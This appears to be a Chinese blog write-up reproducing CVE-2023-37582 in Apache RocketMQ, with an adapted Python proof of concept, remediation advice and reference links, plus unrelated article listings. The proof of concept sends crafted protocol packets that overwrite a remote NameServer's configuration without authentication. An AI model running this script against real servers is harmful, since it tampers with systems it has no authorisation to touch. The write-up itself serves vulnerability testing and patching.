产品介绍

Apache RocketMQ是美国阿帕奇(Apache)基金会的一款轻量级的数据处理平台和消息传递引擎。

漏洞概述

Apache RocketMQ 存在代码注入漏洞,该漏洞源于当 NameServer 地址在外网泄露且缺乏权限验证时,NameServer 组件仍然存在远程命令执行漏洞,在 RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

RocketMQ < 4.9.7

RocketMQ < 5.1.2

复现环境

docker pull apache/rocketmq:4.9.4
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv

漏洞复现

POC:

 1 import random
2 import socket
3 import binascii
4
5 class poc:
6 def __init__(self, url):
7 self.url = url
8 self.result_text = ""
9 self.port = 9876
10
11 def exploit(self, address):
12 try:
13 client_socket = socket.socket()
14 client_socket.settimeout(5) # Set socket timeout to 5 seconds
15 client_socket.connect((address, self.port))
16
17 header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
18 body = 'configStorePath=/tmp/test\nproductEnvName=test'+ str(random.randint(1, 10))
19
20 header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
21 header_length_hex = '00000000' + str(hex(header_length))[2:]
22 total_length = int(4 + len(binascii.hexlify(body.encode('utf-8')).decode('utf-8')) / 2 + header_length)
23 total_length_hex = '00000000' + str(hex(total_length))[2:]
24 data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8') + binascii.hexlify(body.encode('utf-8')).decode('utf-8')
25
26 client_socket.send(bytes.fromhex(data))
27 client_socket.recv(1024)
28
29 client_socket.close()
30 except socket.timeout:
31 return False
32
33 def get_namesrv_config(self, address):
34 try:
35 client_socket = socket.socket()
36 client_socket.settimeout(5)
37 client_socket.connect((address, self.port))
38
39 header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
40
41 header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
42 header_length_hex = '00000000' + str(hex(header_length))[2:]
43 total_length = int(4 + header_length)
44 total_length_hex = '00000000' + str(hex(total_length))[2:]
45 data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')
46
47 client_socket.send(bytes.fromhex(data))
48 data_received = client_socket.recv(1024)
49
50 client_socket.close()
51 return data_received
52 except socket.timeout:
53 return False
54
55 def main(self):
56 ip = self.url
57 result1 = self.get_namesrv_config(ip)
58 self.exploit(ip)
59 result2 = self.get_namesrv_config(ip)
60 if result2 != result1:
61 print("漏洞存在")
62 else:
63 print("漏洞不存在")
64
65 if __name__ == '__main__':
66 ip = "127.0.0.1"
67 poc(ip).main()

在github上找到了poc,我对它做了一些修改,源poc --> 点击此处跳转。

增加了判断条件,根据与源文件内容进行比较判断是否注入成功。

运行上述poc后,效果如下:

入库漏扫:

修复方式

升级Apache RocketMQ到5.1.2或者4.9.7安全版本

参考链接

https://github.com/apache/rocketmq/pull/6843

https://lists.apache.org/thread/m614czxtpvlztd7mfgcs2xcsg36rdbnc

【漏洞复现】Apache RocketMQ 代码注入漏洞(CVE-2023-37582)的更多相关文章

  1. 漏洞复现——tomcat远程代码执行漏洞

    漏洞描述: 当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行 影响范 ...

  2. 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)

    漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...

  3. CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警

    11月4日,阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击,攻击者可以利用该漏洞远程植入webshell,导致文件篡改.数据泄漏.服务器被远程控 ...

  4. 阿里云提示Discuz uc.key泄露导致代码注入漏洞uc.php的解决方法

    适用所有用UC整合 阿里云提示漏洞: discuz中的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,.......... 漏洞名称:Discuz uc.key泄露导致代 ...

  5. Discuz ML! V3.X 代码注入漏洞

    Discuz ML! V3.X 代码注入漏洞 前言 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像"社交网络"这样的互 ...

  6. 漏洞复现——Apache HTTPD多后缀解析漏洞

    漏洞原理:Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache Httpd这个特 ...

  7. phpMyAdmin setup.php脚本的任意PHP代码注入漏洞

    phpMyAdmin (/scripts/setup.php) PHP 注入代码 此漏洞代码在以下环境测试通过:      phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, ...

  8. 漏洞复现-CVE-2015-1427-Groovy远程代码执行

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 Elasticsearch 1.3.0-1.3. ...

  9. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  10. Discuz uc.key泄露导致代码注入漏洞

    漏洞描述:在Discuz中,uc_key是UC客户端与服务端通信的通信密钥,discuz中的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,造成数据泄漏 ...

随机推荐

  1. 【直播回顾】OpenHarmony知识赋能第八期:手把手教你实现涂鸦小游戏

     OpenHarmony第八期知识赋能直播已经在9月29日圆满落幕!从9月15日起,资深OS框架开发工程师巴延兴老师于每周四进行分享,通过实现涂鸦小游戏来帮助大家全面了解ArkUI框架的应用,拓宽知识 ...

  2. Java 抽象类与方法:实现安全性与代码重用

    Java 内部类 简介 在 Java 中,可以嵌套类(即类内部的类),称为内部类.嵌套类的目的是将属于一起的类分组,从而使您的代码更可读和可维护. 访问内部类 要访问内部类,请创建外部类的对象,然后创 ...

  3. 虚实相生,构建数智生活|HMS Core. Sparkle应用创新分论坛报名启动

    XR技术的发展,为用户带来了全新的体验模式.那么,作为支撑XR发展主要学科之一的图形学,将迎来哪些发展新机遇?移动应用开发者,该如何拥抱3D数字化转型? 7月15日,HDD·HMS Core. Spa ...

  4. IaC 管理新思路:Walrus 和 Terraform 的差异化探索

    Terraform 的社区版本及商业化版本,让其成为在基础设施即代码(IaC)领域中可靠的部署和管理平台.尽管目前 Terraform Cloud/Enterprise 仍然是最为广泛采用的 IaC ...

  5. k8s之operator

    背景 数字经济的兴起推动了云计算.物联网.大数据行业的快速蓬勃发展,对数据中心提出了更高的要求,同时,用户对于数据库运维自动化的需求越来越高,数据库即服务的需求越来越强烈. 随着k8s的普及以及云原生 ...

  6. pytest-fixture使用

    fixture(scope='function',params=None,autouse=False,ids=None,name=None):scope:设置作用域:params:传参数,以列表进行存 ...

  7. web常见的攻击方式有哪些?如何防御?

    一.是什么 Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为 如植入恶意代码,修改网站权限,获取网站用户隐私信息等等 Web应用程序的安全性是任何基于Web业务的重要 ...

  8. 地址标准化服务AI深度学习模型推理优化实践

    简介: 深度学习已在面向自然语言处理等领域的实际业务场景中广泛落地,对它的推理性能优化成为了部署环节中重要的一环.推理性能的提升:一方面,可以充分发挥部署硬件的能力,降低用户响应时间,同时节省成本:另 ...

  9. 针对数据库连接池到DRDS连接探活的优化

    简介: 针对数据库连接池到DRDS连接探活的优化 1. 问题背景 近期在给某专有云客户进⾏云产品应⽤性能优化分析时,发现了⼀个有趣的关于DRDS使⽤层⾯的问题,这⾥给⼤家分享⼀下.使⽤过DRDS产品的 ...

  10. 如何快速调度 PTS 的百万并发能力

    ​简介:压测是通过模拟用户行为对业务系统发起请求,测算出系统的承载能力,并对系统做一次全面的体检,压测后可根据压测表现优化系统瓶颈,防止出现线上故障. 作者:灵苒 在实际的业务场景中,压测是必不可少的 ...